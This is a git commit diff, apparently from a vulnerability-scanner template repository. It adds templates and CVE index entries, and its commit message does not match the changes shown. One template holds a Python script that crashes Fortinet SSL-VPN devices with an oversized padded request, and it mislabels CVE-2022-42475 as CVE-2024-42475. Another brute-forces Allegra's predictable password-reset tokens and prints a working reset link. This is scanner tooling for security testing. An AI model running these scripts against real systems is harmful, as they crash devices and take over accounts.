Update huawei-holosense-panel template with improved metadata and structure

- Added reference to official Huawei product page
- Fixed max-request vs max-requests field naming for consistency
- Added panel and iot tags for better categorization
- Enhanced template structure following review guidelines

.new-additions

@@ -1,3 +1,5 @@
+code/cves/2022/CVE-2022-42475.yaml
+code/cves/2025/CVE-2025-6216.yaml
 code/windows/audit/kisa/account-lockout-threshold.yaml
 code/windows/audit/kisa/admin-account-rename.yaml
 code/windows/audit/kisa/admin-group-minimal.yaml
@@ -20,16 +22,22 @@ code/windows/audit/kisa/unnecessary-accounts-check.yaml
 code/windows/audit/kisa/unnecessary-service-check.yaml
 http/cves/2020/CVE-2020-9547.yaml
 http/cves/2020/CVE-2020-9548.yaml
+http/cves/2022/CVE-2022-23397.yaml
+http/cves/2023/CVE-2023-49230.yaml
 http/cves/2024/CVE-2024-50334.yaml
 http/cves/2025/CVE-2025-2010.yaml
+http/cves/2025/CVE-2025-27505.yaml
 http/cves/2025/CVE-2025-32813.yaml
 http/cves/2025/CVE-2025-32814.yaml
+http/cves/2025/CVE-2025-32815.yaml
 http/cves/2025/CVE-2025-34040.yaml
 http/cves/2025/CVE-2025-41646.yaml
 http/cves/2025/CVE-2025-4380.yaml
 http/cves/2025/CVE-2025-47812.yaml
 http/cves/2025/CVE-2025-47813.yaml
 http/cves/2025/CVE-2025-48827.yaml
+http/cves/2025/CVE-2025-49493.yaml
+http/cves/2025/CVE-2025-52488.yaml
 http/cves/2025/CVE-2025-53624.yaml
 http/cves/2025/CVE-2025-5777.yaml
 http/default-logins/molgenis/molgenis-default-login.yaml
@@ -41,11 +49,33 @@ http/exposed-panels/molgenis-panel.yaml
 http/exposed-panels/peplink-panel.yaml
 http/exposed-panels/wingftp-panel.yaml
 http/miscellaneous/torrent-website-detect.yaml
+http/misconfiguration/dd-wrt-controlpanel-exposure.yaml
 http/misconfiguration/installer/pritunl-installer.yaml
+http/misconfiguration/twonky-server-exposure.yaml
+http/osint/user-enumeration/sessionize.yaml
+http/technologies/graphql/graphql-apiforwp-detect.yaml
+http/technologies/graphql/graphql-apollo-detect.yaml
+http/technologies/graphql/graphql-ariadne-detect.yaml
+http/technologies/graphql/graphql-dianajl-detect.yaml
+http/technologies/graphql/graphql-flutter-detect.yaml
+http/technologies/graphql/graphql-go-detect.yaml
+http/technologies/graphql/graphql-gqlgen-detect.yaml
+http/technologies/graphql/graphql-graphene-detect.yaml
+http/technologies/graphql/graphql-hasura-detect.yaml
+http/technologies/graphql/graphql-hypergraphql-detect.yaml
+http/technologies/graphql/graphql-java-detect.yaml
+http/technologies/graphql/graphql-juniper-detect.yaml
+http/technologies/graphql/graphql-php-detect.yaml
+http/technologies/graphql/graphql-ruby-detect.yaml
+http/technologies/graphql/graphql-sangria-detect.yaml
+http/technologies/graphql/graphql-strawberry-detect.yaml
+http/technologies/graphql/graphql-tartiflette-detect.yaml
+http/technologies/graphql/graphql-wpgraphql-detect.yaml
 http/technologies/wordpress/plugins/blocksy-companion.yaml
 http/technologies/wordpress/plugins/gosmtp.yaml
 http/technologies/wordpress/plugins/honeypot.yaml
 http/technologies/wordpress/plugins/pagelayer.yaml
 http/technologies/wordpress/plugins/siteseo.yaml
 http/technologies/wordpress/plugins/unlimited-elements-for-elementor.yaml
+http/vulnerabilities/infoblox/infoblox-netmri-rails-cookie-rce.yaml
 network/detection/jdwp-detect.yaml

code/cves/2022/CVE-2022-42475.yaml

@@ -0,0 +1,176 @@
+id: CVE-2024-42475
+
+info:
+  name: Fortinet SSL-VPN - Heap-Based Buffer Overflow
+  author: 0xhaggis,pszyszkowski
+  severity: critical
+  description: |
+    A heap-based buffer overflow vulnerability [CWE-122] in FortiOS SSL-VPN (versions 7.2.0 through 7.2.2, 7.0.0 through 7.0.8, 6.4.0 through 6.4.10, 6.2.0 through 6.2.11, 6.0.15 and earlier) and FortiProxy SSL-VPN (versions 7.2.0 through 7.2.1, 7.0.7 and earlier) may allow a remote unauthenticated attacker to execute arbitrary code or commands via specifically crafted requests.
+  remediation: |
+    Fixed in:
+    FortiOS >= 7.2.3, 7.0.9, 6.4.11, 6.2.12, 6.0.16
+    FortiOS-6K7K >= 7.0.8, 6.4.10, 6.2.12, 6.0.15
+    FortiProxy >= 7.2.2, 7.0.8, 2.0.12
+  reference:
+    - https://github.com/0xhaggis/CVE-2022-42475
+    - https://fortiguard.com/psirt/FG-IR-22-398
+    - https://labs.watchtowr.com/fortinet-no-more-funny-titles-cve-2022-42475/
+    - https://bishopfox.com/blog/exploit-cve-2022-42475
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2024-42475
+    cwe-id: CWE-122
+  metadata:
+    max-request: 1
+    vendor: fortinet
+    product: fortios
+    shodan-query:
+      - port:10443 http.favicon.hash:945408572
+      - cpe:"cpe:2.3:o:fortinet:fortios"
+      - http.html:"/remote/login" "xxxxxxxx"
+  tags: cve,cve2024,ssl-vpn,vpn,fortios,fortigate,heap-based,bufferoverflow,kev
+
+code:
+  - engine:
+      - py
+      - python3
+
+    source: |
+      import sys, os, time, socket, ssl
+      PADDING        = 0x4141414141414141
+      PADDING_LEN    = 1024*12
+      CONTENT_LENGTH = b"4294967297"
+
+      class SSLVPNExploit:
+        def __init__(self, host, port):
+          self.host = host
+          self.port = port
+        def connect(self):
+          tries = 1
+          if os.getenv("Scheme") == "https":
+            useSSL = True
+            print("[+] Using SSL/TLS")
+          else:
+            useSSL = False
+            print("[+] Unencrypted connection")
+          while tries <= 6:
+            try:
+              print("[+] Connecting to %s [ attempt %d of 6 ]                                \r" % (self.host, tries), end='\n')
+              self.cleartext_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+              if useSSL == True:
+                ctx = ssl._create_unverified_context()
+                self.socket = ctx.wrap_socket(self.cleartext_socket)
+              else:
+                self.socket = self.cleartext_socket
+              self.socket.settimeout(2.0)
+              self.socket.connect((self.host, self.port))
+
+              return self.socket
+            except socket.timeout as e:
+              tries += 1
+              print("Connection timeout!")
+              continue
+            except Exception as e:
+              print("Unknown error!")
+              print(e)
+              return None
+          return None
+        def check_by_get(self):
+          get_req = bytearray(b"")
+          get_req += b"GET /remote/login HTTP/1.1\r\nHost: " + self.host.encode() + b":" + str(self.port).encode() + b"\r\nUser-Agent: AAAAAAAAAAAAAAAA\r\nContent-Type: application/x-www-form-urlencoded\r\nAccept: */*\r\n\r\n"
+
+          print("[>] Sending GET first")
+          if self.connect() == None:
+            print("[!] Error connecting to target")
+            exit(1)
+          try:
+            self.socket.sendall(get_req)
+
+            self.socket.settimeout(10)
+            get_buf = self.socket.recv(1048576)
+
+            if len(get_buf) == 0:
+              print("Error while sending GET. Protocol mismatch?")
+              return None
+            self.socket.close()
+            return True
+          except socket.timeout as e:
+            print("[>] Target waited for more data.")
+            return False
+
+          except Exception as e:
+            print("[>] Target dropped the connection during test GET, which indicates a communication error!")
+            print(e)
+            return None
+
+        def is_vulnerable(self):
+          req = bytearray(b"")
+          req += b"POST /remote/login HTTP/1.1\r\nHost: " + self.host.encode() + b":" + str(self.port).encode() + b"\r\nContent-Length: " + CONTENT_LENGTH + b"\r\nUser-Agent: AAAAAAAAAAAAAAAA\r\nContent-Type: application/x-www-form-urlencoded\r\nAccept: */*\r\n\r\n"
+          req += b"AAAAAAAA"*(PADDING_LEN)
+
+          print("[>] Testing to see if target is vulnerable (may take 10 seconds)")
+          if self.connect() == None:
+            print("[!] Error connecting to target")
+            exit(1)
+
+          try:
+            # Send the payload. Vuln instances will crash, severing the connection and
+            # causing an exception to be thrown here.
+            self.socket.sendall(req)
+
+            # If this read succeeds then the target is probably not vulnerable.
+            # If it times out, then it's also probably not vulnerable.
+            self.socket.settimeout(10)
+            buf = self.socket.recv(1048576)
+
+            # If the remote end disconnects without an HTTP response then it's vulnerable.
+            if len(buf) == 0:
+                return True
+
+            # Check to see if it has the vendor patch applied
+            if buf.decode("utf-8", errors="replace").__contains__("HTTP/1.1 413 Request Entity Too Large"):
+                print("[>] Target is patched.")
+                return False # 100% confidence that it's not vulnerable.
+
+            # Ok, something weird and unexpected happened.
+            print("[>] An unexpected response (%d bytes) was recieved:" % len(buf))
+            print("----- BEGIN RESPONSE -----")
+            print(buf.decode("utf-8", errors="replace").replace("\\r\\n", "\n"))
+            print("----- END RESPONSE -----")
+            self.socket.close()
+            return None
+
+          except socket.timeout as e:
+            print("[>] Target waited for more data. Not vulnerable.")
+            return False
+          except Exception as e:
+            print("[>] Target dropped the connection, which indicates a vulnerable device!")
+            print(e)
+            return True
+
+      if __name__ == '__main__':
+        host=os.getenv("Host")
+        port=int(os.getenv("Port"))
+        exploit = SSLVPNExploit(host, port)
+        check = exploit.check_by_get()
+
+        if check == True:
+          result = exploit.is_vulnerable()
+          if result == None:
+            print("[!] An error occurred testing for the vulnerability.\n[!] Is this even a FortiGate SSL-VPN?")
+            exit(2)
+
+          if result == True:
+            print("[+] Target appears to be VULNERABLE")
+            exit(0)
+
+          else:
+            print("[+] Target is NOT vulnerable")
+            exit(1)
+
+    matchers:
+      - type: word
+        words:
+          - "Target appears to be VULNERABLE"
+# digest: 4b0a00483046022100df2185bba8207644d6ccf7a16a4f4fd737eeee1f8bd6f4622ac7049188f5040b022100ef25386cc59ebe43e9f9d3796c23e7edee1e2f34a0d1a88c7318c3180af1f587:922c64590222798bb761d5b6d8e72950

code/cves/2025/CVE-2025-6216.yaml

@@ -0,0 +1,116 @@
+id: CVE-2025-6216
+
+info:
+  name: Allegra - Authentication Bypass via Predictable Password Reset Token
+  author: iamnoooob,pdresearch
+  severity: critical
+  description: |
+    Allegra calculateTokenExpDate Password Recovery Authentication Bypass Vulnerability. This vulnerability allows remote attackers to bypass authentication on affected installations of Allegra. Authentication is not required to exploit this vulnerability. The specific flaw exists within the password recovery mechanism. The issue results from reliance upon a predictable value when generating a password reset token. An attacker can leverage this vulnerability to bypass authentication on the application.
+  impact: |
+    An attacker can exploit this vulnerability to bypass authentication and gain unauthorized access to the application, potentially compromising sensitive data and system integrity.
+  remediation: |
+    Upgrade Allegra to version 8.1.4 or 7.5.2 or later to fix the predictable password reset token vulnerability.
+  reference:
+    - https://www.zerodayinitiative.com/advisories/ZDI-25-410/
+    - https://alltena.com/en/resources/release-notes/release-notes-for-release-8-1-4-and-release-7-5-2
+    - https://nvd.nist.gov/vuln/detail/CVE-2025-6216
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2025-6216
+    cwe-id: CWE-640
+    cpe: cpe:2.3:a:alltena:allegra:*:*:*:*:*:*:*:*
+  metadata:
+    verified: true
+    max-request: 1
+    vendor: alltena
+    product: allegra
+    shodan-query: http.favicon.hash:"284403119"
+    fofa-query: icon_hash="284403119"
+  tags: cve,cve2025,allegra,auth-bypass,predictable-token,reset
+
+variables:
+  email: "[email protected]"  # Change to a test account
+
+flow: http(1) && code()
+
+http:
+  - raw:
+      - |
+        POST /resetPassword.action HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
+
+        email={{email}}&fromAjax=true&_dc=1750669432104&perspectiveType=&appActionID=
+
+    extractors:
+      - type: regex
+        name: date_header
+        part: header
+        internal: true
+        group: 1
+        regex:
+          - "Date: (.*)"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "emailSent"
+          - '"success":true'
+        condition: and
+
+      - type: status
+        status:
+          - 200
+
+code:
+  - engine:
+      - py
+      - python3 # requires python to be pre-installed on system running nuclei
+
+    source: |
+            import requests
+            import hashlib,os
+            import time
+            from datetime import datetime, timezone
+            from email.utils import parsedate_to_datetime
+
+            def get_server_time(response):
+                date_header = response.headers.get('Date')
+                if date_header:
+                    return parsedate_to_datetime(date_header)
+                return None
+
+            def main():
+                BASE_URL = os.getenv("BaseURL")
+                EMAIL = os.getenv("email")
+                date_header = os.getenv("date_header")
+                server_time = parsedate_to_datetime(date_header)
+                if not server_time:
+                    return
+                server_time_ms = int(server_time.timestamp() * 1000)
+                expiry_time_ms = server_time_ms + 28800000
+                base_expiry_sec = (expiry_time_ms // 1000) * 1000
+                for ms in range(1000):
+                    candidate_expiry_ms = base_expiry_sec + ms
+                    token = hashlib.sha256(str(candidate_expiry_ms).encode()).hexdigest()
+                    test_url = f"{BASE_URL}/resetPassword!confirm.action?ctk={token}"
+                    r = requests.get(test_url, allow_redirects=False)
+                    if 'com.trackplus.app.logon.ResetPasswordApplication' in r.text:
+                        print(test_url)
+                        return
+
+            if __name__ == "__main__":
+                main()
+
+    matchers:
+      - type: dsl
+        dsl:
+          - contains(code_response, "/resetPassword!confirm.action?ctk=")
+
+    extractors:
+      - type: dsl  # type of the extractor
+        dsl:
+          - '"Reset URL: " + code_response'
+# digest: 4a0a00473045022100e16640c86c7d6f0d855aad545c1028cd614abdc1388b9a33da23d66b1d3beddf022010383e6897d82a9fabb755115271a0635ca5ee8a36633e8f1485f601840f5caa:922c64590222798bb761d5b6d8e72950

cves.json

@@ -1756,6 +1756,7 @@
 {"ID":"CVE-2022-23178","Info":{"Name":"Crestron Device - Credentials Disclosure","Severity":"critical","Description":"An issue was discovered on Crestron HD-MD4X2-4K-E 1.0.0.2159 devices. When the administrative web interface of the HDMI switcher is accessed unauthenticated, user credentials are disclosed that are valid to authenticate to the web interface. Specifically, aj.html sends a JSON document with uname and upassword fields.","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2022/CVE-2022-23178.yaml"}
 {"ID":"CVE-2022-23347","Info":{"Name":"BigAnt Server v5.6.06 - Local File Inclusion","Severity":"high","Description":"BigAnt Server v5.6.06 is vulnerable to local file inclusion.","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2022/CVE-2022-23347.yaml"}
 {"ID":"CVE-2022-23348","Info":{"Name":"BigAnt Server 5.6.06 - Improper Access Control","Severity":"medium","Description":"BigAnt Server 5.6.06 is susceptible to improper access control. The software utililizes weak password hashes. An attacker can craft a password hash and thereby possibly possibly obtain sensitive information, modify data, and/or execute unauthorized operations.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2022/CVE-2022-23348.yaml"}
+{"ID":"CVE-2022-23397","Info":{"Name":"Cedar Gate EZ-NET \u003c= 6.8.0 - Cross-Site Scripting","Severity":"medium","Description":"The Cedar Gate EZ-NET portal 6.5.5 6.8.0 Internet portal has a call to display messages to users which does not properly sanitize data sent in through a URL parameter. This leads to a Reflected Cross-Site Scripting vulnerability.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2022/CVE-2022-23397.yaml"}
 {"ID":"CVE-2022-23544","Info":{"Name":"MeterSphere \u003c 2.5.0 SSRF","Severity":"medium","Description":"MeterSphere is a one-stop open source continuous testing platform, covering test management, interface testing, UI testing and performance testing. Versions prior to 2.5.0 are subject to a Server-Side Request Forgery that leads to Cross-Site Scripting. A Server-Side request forgery in `IssueProxyResourceService::getMdImageByUrl` allows an attacker to access internal resources, as well as executing JavaScript code in the context of Metersphere's origin by a victim of a reflected XSS. This vulnerability has been fixed in v2.5.0. There are no known workarounds.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2022/CVE-2022-23544.yaml"}
 {"ID":"CVE-2022-2373","Info":{"Name":"WordPress Simply Schedule Appointments \u003c1.5.7.7 - Information Disclosure","Severity":"medium","Description":"WordPress Simply Schedule Appointments plugin before 1.5.7.7 is susceptible to information disclosure. The plugin is missing authorization in a REST endpoint, which can allow an attacker to retrieve user details such as name and email address.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2022/CVE-2022-2373.yaml"}
 {"ID":"CVE-2022-2376","Info":{"Name":"WordPress Directorist \u003c7.3.1 - Information Disclosure","Severity":"medium","Description":"WordPress Directorist plugin before 7.3.1 is susceptible to information disclosure. The plugin discloses the email address of all users in an AJAX action available to both unauthenticated and authenticated users.","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2022/CVE-2022-2376.yaml"}
@@ -2520,6 +2521,7 @@
 {"ID":"CVE-2023-48777","Info":{"Name":"WordPress Elementor 3.18.1 - File Upload/Remote Code Execution","Severity":"critical","Description":"The plugin is vulnerable to Remote Code Execution via file upload via the template import functionality, allowing authenticated attackers, with contributor-level access and above, to upload files and execute code on the server.\n","Classification":{"CVSSScore":"9.9"}},"file_path":"http/cves/2023/CVE-2023-48777.yaml"}
 {"ID":"CVE-2023-49070","Info":{"Name":"Apache OFBiz \u003c 18.12.10 - Arbitrary Code Execution","Severity":"critical","Description":"Pre-auth RCE in Apache Ofbiz 18.12.09. It's due to XML-RPC no longer maintained still present. This issue affects Apache OFBiz: before 18.12.10.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2023/CVE-2023-49070.yaml"}
 {"ID":"CVE-2023-49103","Info":{"Name":"OwnCloud - Phpinfo Configuration","Severity":"high","Description":"An issue was discovered in ownCloud owncloud/graphapi 0.2.x before 0.2.1 and 0.3.x before 0.3.1. The graphapi app relies on a third-party GetPhpInfo.php library that provides a URL. When this URL is accessed, it reveals the configuration details of the PHP environment (phpinfo). This information includes all the environment variables of the webserver. In containerized deployments, these environment variables may include sensitive data such as the ownCloud admin password, mail server credentials, and license key. Simply disabling the graphapi app does not eliminate the vulnerability. Additionally, phpinfo exposes various other potentially sensitive configuration details that could be exploited by an attacker to gather information about the system.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2023/CVE-2023-49103.yaml"}
+{"ID":"CVE-2023-49230","Info":{"Name":"Peplink Balance Two before 8.4.0 - Unauthenticated Config Upload","Severity":"high","Description":"A vulnerability in Peplink Balance Two prior to version 8.4.0 allows unauthenticated attackers to modify captive portal configurations due to a missing authorization check. Specifically, attackers can upload files via /guest/portal_admin_upload.cgi, with the changes reflected at /guest/preview.cgi?portal_id=1.\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2023/CVE-2023-49230.yaml"}
 {"ID":"CVE-2023-49489","Info":{"Name":"KodeExplorer 4.51 - Reflective Cross Site Scripting (XSS)","Severity":"medium","Description":"Reflective Cross Site Scripting (XSS) vulnerability in KodExplorer version 4.51, allows attackers to obtain sensitive information and escalate privileges via the APP_HOST parameter at config/i18n/en/main.php.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2023/CVE-2023-49489.yaml"}
 {"ID":"CVE-2023-49494","Info":{"Name":"DedeCMS v5.7.111 - Cross-Site Scripting","Severity":"medium","Description":"DedeCMS v5.7.111 was discovered to contain a reflective cross-site scripting (XSS) vulnerability via the component select_media_post_wangEditor.php.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2023/CVE-2023-49494.yaml"}
 {"ID":"CVE-2023-4966","Info":{"Name":"Citrix Bleed - Leaking Session Tokens","Severity":"high","Description":"Sensitive information disclosure in NetScaler ADC and NetScaler Gateway when configured as a Gateway (VPN virtual server, ICA Proxy, CVPN, RDP Proxy) or AAA ?virtual?server.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2023/CVE-2023-4966.yaml"}
@@ -2893,7 +2895,7 @@
 {"ID":"CVE-2024-51567","Info":{"Name":"CyberPanel v2.3.6 Pre-Auth Remote Code Execution","Severity":"critical","Description":"upgrademysqlstatus in databases/views.py in CyberPanel (aka Cyber Panel) before 5b08cd6 allows remote attackers to bypass authentication and execute arbitrary commands via /dataBases/upgrademysqlstatus by bypassing secMiddleware (which is only for a POST request) and using shell metacharacters in the statusfile property, as exploited in the wild in October 2024 by PSAUX. Versions through 2.3.6 and (unpatched) 2.3.7 are affected.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2024/CVE-2024-51567.yaml"}
 {"ID":"CVE-2024-51739","Info":{"Name":"iTop - User Enumeration via REST Endpoint","Severity":"medium","Description":"From the webservices/rest.php file, several operations are accessible from an unauthenticated user. One of them is `do_reset_pwd`, allowing to reset a user password. This feature can be abused to perform user enumeration when a non-existent user is provided.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2024/CVE-2024-51739.yaml"}
 {"ID":"CVE-2024-51977","Info":{"Name":"Brother MFC-L9570CDW - Information Disclosure","Severity":"medium","Description":"An unauthenticated attacker who can access either the HTTP service (TCP port 80), the HTTPS service (TCP port 443), or the IPP service (TCP port 631), can leak several pieces of sensitive information from a vulnerable device. The URI path /etc/mnt_info.csv can be accessed via a GET request and no authentication is required. The returned result is a comma separated value (CSV) table of information. The leaked information includes the device’s model, firmware version, IP address, and serial number.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-51977.yaml"}
-{"ID":"CVE-2024-51978","Info":{"Name":"Brother Printers – Authentication Bypass via Default Admin Password","Severity":"critical","Description":"By leaking a target device's serial number, a remote attacker can generate the target device's default administrator password.\nThe target device may leak its serial number via unauthenticated HTTP, HTTPS, IPP, SNMP, or PJL requests.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-51978.yaml"}
+{"ID":"CVE-2024-51978","Info":{"Name":"Brother Printers – Authentication Bypass via Default Admin Password","Severity":"critical","Description":"By leaking a target device's serial number, a remote attacker can generate the target device's default administrator password. The target device may leak its serial number via unauthenticated HTTP, HTTPS, IPP, SNMP, or PJL requests.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-51978.yaml"}
 {"ID":"CVE-2024-5217","Info":{"Name":"ServiceNow - Incomplete Input Validation","Severity":"critical","Description":"ServiceNow has addressed an input validation vulnerability that was identified in the Washington DC, Vancouver, and earlier Now Platform releases. This vulnerability could enable an unauthenticated user to remotely execute code within the context of the Now Platform. The vulnerability is addressed in the listed patches and hot fixes below, which were released during the June 2024 patching cycle. If you have not done so already, we recommend applying security patches relevant to your instance as soon as possible.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-5217.yaml"}
 {"ID":"CVE-2024-5230","Info":{"Name":"FleetCart 4.1.1 - Information Disclosure","Severity":"medium","Description":"Issues with information disclosure in redirect responses. Accessing the majority of the website's pages exposes sensitive data, including the \"Razorpay\" \"razorpayKeyId\".\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2024/CVE-2024-5230.yaml"}
 {"ID":"CVE-2024-52433","Info":{"Name":"My Geo Posts Free \u003c= 1.2 - PHP Object Injection","Severity":"critical","Description":"The My Geo Posts Free plugin for WordPress is vulnerable to PHP Object Injection in versions up to, and including, 1.2 via deserialization of untrusted input. This makes it possible for unauthenticated attackers to inject a PHP Object. No known POP chain is present in the vulnerable software. If a POP chain is present via an additional plugin or theme installed on the target system, it could allow the attacker to delete arbitrary files, retrieve sensitive data, or execute code.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-52433.yaml"}
@@ -3062,6 +3064,7 @@
 {"ID":"CVE-2025-27134","Info":{"Name":"Joplin 3.3.3 Server - Privilege Escalation","Severity":"high","Description":"Joplin is a free, open source note taking and to-do application, which can handle a large number of notes organised into notebooks. Prior to version 3.3.3, a privilege escalation vulnerability exists in the Joplin server, allowing non-admin users to exploit the API endpoint `PATCH /api/users/-id` to set the `is_admin` field to 1. The vulnerability allows malicious low-privileged users to perform administrative actions without proper authorization. This issue has been patched in version 3.3.3.\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2025/CVE-2025-27134.yaml"}
 {"ID":"CVE-2025-27218","Info":{"Name":"Sitecore Experience Manager (XM)/Experience Platform (XP) 10.4 - Insecure Deserialization","Severity":"medium","Description":"Sitecore Experience Manager (XM) and Experience Platform (XP) 10.4 before KB1002844 allow remote code execution through insecure deserialization.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2025/CVE-2025-27218.yaml"}
 {"ID":"CVE-2025-2748","Info":{"Name":"Kentico Xperience CMS - Unauthenticated Stored XSS","Severity":"medium","Description":"The Kentico Xperience application does not fully validate or filter files uploaded via the multiple-file upload functionality, which allows for stored XSS.This issue affects Kentico Xperience through 13.0.178.\n","Classification":{"CVSSScore":"6.5"}},"file_path":"http/cves/2025/CVE-2025-2748.yaml"}
+{"ID":"CVE-2025-27505","Info":{"Name":"GeoServer - Missing Authorization on REST API Index","Severity":"medium","Description":"GeoServer contains a missing authorization vulnerability that allows unauthorized access to the REST API Index page, potentially exposing sensitive configuration information.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2025/CVE-2025-27505.yaml"}
 {"ID":"CVE-2025-2775","Info":{"Name":"SysAid On-Prem \u003c= 23.3.40 - XML External Entity","Severity":"critical","Description":"SysAid On-Prem versions \u003c= 23.3.40 are vulnerable to an unauthenticated XML External Entity (XXE) vulnerability in the Checkin processing functionality, allowing for administrator account takeover and file read primitives.\n","Classification":{"CVSSScore":"9.3"}},"file_path":"http/cves/2025/CVE-2025-2775.yaml"}
 {"ID":"CVE-2025-2776","Info":{"Name":"SysAid On-Prem \u003c= 23.3.40 - XML External Entity","Severity":"critical","Description":"SysAid On-Prem versions \u003c= 23.3.40 are vulnerable to an unauthenticated XML External Entity (XXE) vulnerability in the Server URL processing functionality, allowing for administrator account takeover and file read primitives.\n","Classification":{"CVSSScore":"9.3"}},"file_path":"http/cves/2025/CVE-2025-2776.yaml"}
 {"ID":"CVE-2025-2777","Info":{"Name":"SysAid On-Prem \u003c= 23.3.40 - XML External Entity","Severity":"critical","Description":"SysAid On-Prem versions \u003c= 23.3.40 are vulnerable to an unauthenticated XML External Entity (XXE) vulnerability in the lshw processing functionality, allowing for administrator account takeover and file read primitives.\n","Classification":{"CVSSScore":"9.3"}},"file_path":"http/cves/2025/CVE-2025-2777.yaml"}
@@ -3087,12 +3090,14 @@
 {"ID":"CVE-2025-3248","Info":{"Name":"Langflow AI - Unauthenticated Remote Code Execution","Severity":"critical","Description":"Langflow versions prior to 1.3.0 are susceptible to code injection in the /api/v1/validate/code endpoint.A remote and unauthenticated attacker can send crafted HTTP requests to execute arbitrary code.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-3248.yaml"}
 {"ID":"CVE-2025-32813","Info":{"Name":"Infoblox NetMRI \u003c 7.6.1 - Unauthenticated Command Injection in get_saml_request","Severity":"high","Description":"An issue was discovered in Infoblox NETMRI before 7.6.1. Remote Unauthenticated Command Injection can occur.\n","Classification":{"CVSSScore":"7.2"}},"file_path":"http/cves/2025/CVE-2025-32813.yaml"}
 {"ID":"CVE-2025-32814","Info":{"Name":"NetMRI Unauthenticated SQL Injection via skipjackUsername","Severity":"critical","Description":"An issue was discovered in Infoblox NETMRI before 7.6.1. Unauthenticated SQL Injection can occur.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-32814.yaml"}
+{"ID":"CVE-2025-32815","Info":{"Name":"NetMRI \u003c 7.6.1 - Authentication Bypass via Hardcoded Credentials","Severity":"medium","Description":"An issue was discovered in Infoblox NETMRI before 7.6.1. Authentication Bypass via a Hardcoded credential can occur.\n","Classification":{"CVSSScore":"6.5"}},"file_path":"http/cves/2025/CVE-2025-32815.yaml"}
 {"ID":"CVE-2025-34026","Info":{"Name":"Versa Concerto Actuator Endpoint - Authentication Bypass","Severity":"critical","Description":"An authentication bypass vulnerability affected the Spring Boot Actuator endpoints in Versa Concerto due to improper handling of the X-Real-Ip header.Attackers could access restricted endpoints by omitting this header.The issue allowed unauthorized access to sensitive functionality, highlighting the need for proper header validation.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-34026.yaml"}
 {"ID":"CVE-2025-34027","Info":{"Name":"Versa Concerto API Path Based - Authentication Bypass","Severity":"critical","Description":"Authentication bypass in the Versa Concerto API, caused by URL decoding inconsistencies. It allowed unauthorized access to certain API endpoints by manipulating the URL path.This issue enabled attackers to bypass authentication controls and access restricted resources.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-34027.yaml"}
 {"ID":"CVE-2025-34028","Info":{"Name":"Commvault - SSRF via /commandcenter/deployWebpackage.do","Severity":"critical","Description":"A path traversal vulnerability in Commvault Command Center Innovation Release allows an unauthenticated actor to upload ZIP files, which, when expanded by the target server, result in Remote Code Execution. This issue affects Command Center Innovation Release: 11.38.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2025/CVE-2025-34028.yaml"}
 {"ID":"CVE-2025-34031","Info":{"Name":"Moodle Jmol Filter 6.1 - Local File Inclusion","Severity":"high","Description":"Moodle Jmol Filter 6.1 is vulnerable to local file inclusion through the jsmol.php file, allowing attackers to read arbitrary files on the server.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-34031.yaml"}
 {"ID":"CVE-2025-34032","Info":{"Name":"Moodle LMS Jmol Plugin \u003c= 6.1 - Cross-Site Scripting","Severity":"medium","Description":"A reflected cross-site scripting (XSS) vulnerability exists in the Moodle LMS Jmol plugin version 6.1 and prior via the data parameter in jsmol.php. The application fails to properly sanitize user input before embedding it into the HTTP response, allowing an attacker to execute arbitrary JavaScript in the victim's browser by crafting a malicious link. This can be used to hijack user sessions or manipulate page content.\n","Classification":{"CVSSScore":"5.4"}},"file_path":"http/cves/2025/CVE-2025-34032.yaml"}
